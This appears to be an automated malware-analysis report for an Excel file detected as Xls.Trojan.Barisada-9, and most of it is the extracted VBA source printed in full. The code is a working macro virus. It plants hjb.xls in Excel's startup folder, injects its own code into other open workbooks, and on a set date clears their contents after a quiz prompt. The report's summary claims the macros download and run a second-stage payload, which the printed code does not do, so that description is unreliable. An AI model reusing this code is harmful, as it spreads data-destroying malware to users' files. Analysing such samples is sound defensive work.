Xls.Trojan.Barisada-9 — Office (OLE) malware analysis

Static analysis result for SHA-256 ab3f5c97016601ea…

MALICIOUS

Office (OLE)

84.5 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 9880b419768c97364f86ec881cfc428f SHA-1: ffddcecbc88b8ad578802a42a18c9c9985bd5af5 SHA-256: ab3f5c97016601eaf02f857ca9ea1ad9fb9926d204fcfed1b6bfcb0adce3fc0d
140 Risk Score

Malware Insights

Xls.Trojan.Barisada-9 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with multiple signatures, including Xls.Trojan.Barisada-9 and Xls.Trojan.Barisada-2. It contains VBA macros that attempt to download and execute a second-stage payload. The macro code also includes logic for displaying a message box with a question, potentially as part of a lure or to check for user interaction before proceeding with malicious actions.

Heuristics 2

  • ClamAV: Xls.Trojan.Barisada-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Barisada-9
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12521 bytes
SHA-256: 1ce88ee2647395323a77938cb225a61598b23139432a0a8407bca439ee5abe6d
Detection
ClamAV: Xls.Trojan.Barisada-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)
On Error Resume Next
 Falsflag = e
 
 myfile = Dir(Application.StartupPath & "\hjb.xls")
 If myfile <> "hjb.xls" Then
   Application.ScreenUpdating = False
   Workbooks.Add.SaveAs Filename:=Application.StartupPath & "\hjb.xls", FileFormat:=xlNormal, addtomru:=False
 End If
 

For i = 1 To Workbooks.Count
  eline = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
  If eline <> o Then vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, eline)
  
  
 For j = 1 To Workbooks(i).VBProject.VBComponents.Count
  vcount = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines
  If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.AddFromString (vcode)
 Next j: Next i
  
  
 If myfile <> "hjb.xls" Then Workbooks("hjb.xls").Close savechanges:=True
 


dmonth = Month(Now): dday = Day(Now): dhour = Hour(Now)

If dmonth = 4 And dday = 24 And dhour = 14 Then flag = True

If flag = True Then
  v1 = MsgBox("Question : What is the Sword Which Karl Styner(=Gray Scavenger) used? " & vbCr & _
  "Answer : Barisada ", vbYesNo, "1st Qusetion")
  
  If v1 = vbNo Then MsgBox "Good! You're Authorized now!!", vbOKOnly, "Right Answer"
  If v1 = vbYes Then
     MsgBox "I wil give you one more Chance. Be careful!!", vbOKOnly + vbCritical, "Wrong Answer"
     v2 = MsgBox("Summoning Xavier is the Ultimate Magic. Right?", vbYesNo, "Wrong Answer may cause The Serious Problem!")
     If v2 = vbYes Then MsgBox "ok , i will forgive you", vbOKOnly, "Right Answer"
     If v2 = vbNo Then
       MsgBox "Wrong Answer, Your file will be deleted!", vbOKOnly + vbCritical, "You shall Die"
       For i = 1 To Workbooks.Count
        For j = 1 To Workbooks(i).Sheets.Count
          Workbooks(i).Sheets(i).Cells.Select
          Selection.Clear
       Next j: Next i:
     End If
     
     
  End If
 End If
  
     
  

  

   
 
 

   


End Sub










































































Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)
On Error Resume Next
 Falsflag = e
 
 myfile = Dir(Application.StartupPath & "\hjb.xls")
 If myfile <> "hjb.xls" Then
   Application.ScreenUpdating = False
   Workbooks.Add.SaveAs Filename:=Application.StartupPath & "\hjb.xls", FileFormat:=xlNormal, addtomru:=False
 End If
 

For i = 1 To Workbooks.Count
  eline = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
  If eline <> o Then vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, eline)
  
  
 For j = 1 To Workbooks(i).VBProject.VBComponents.Count
  vcount = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines
  If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.AddFromString (vcode)
 Next j: Next i
  
  
 If myfile <> "hjb.xls" Then Workbooks("hjb.xls").Close savechanges:=True
 


dmonth = Month(Now): dday = Day(Now): dhour = Hour(Now)

If dmonth = 4 And dday = 24 And dhour = 14 Then flag = True

If flag = True Then
  v1 = MsgBox("Question : What is the Sword Which Karl Styner(=Gray Scavenger) used? " & vbCr & _
  "Answer : Barisada ", vbYesNo, "1st Qusetion")
  
  If v1 = vbNo Then MsgBox "Good! You're Authorized
... (truncated)

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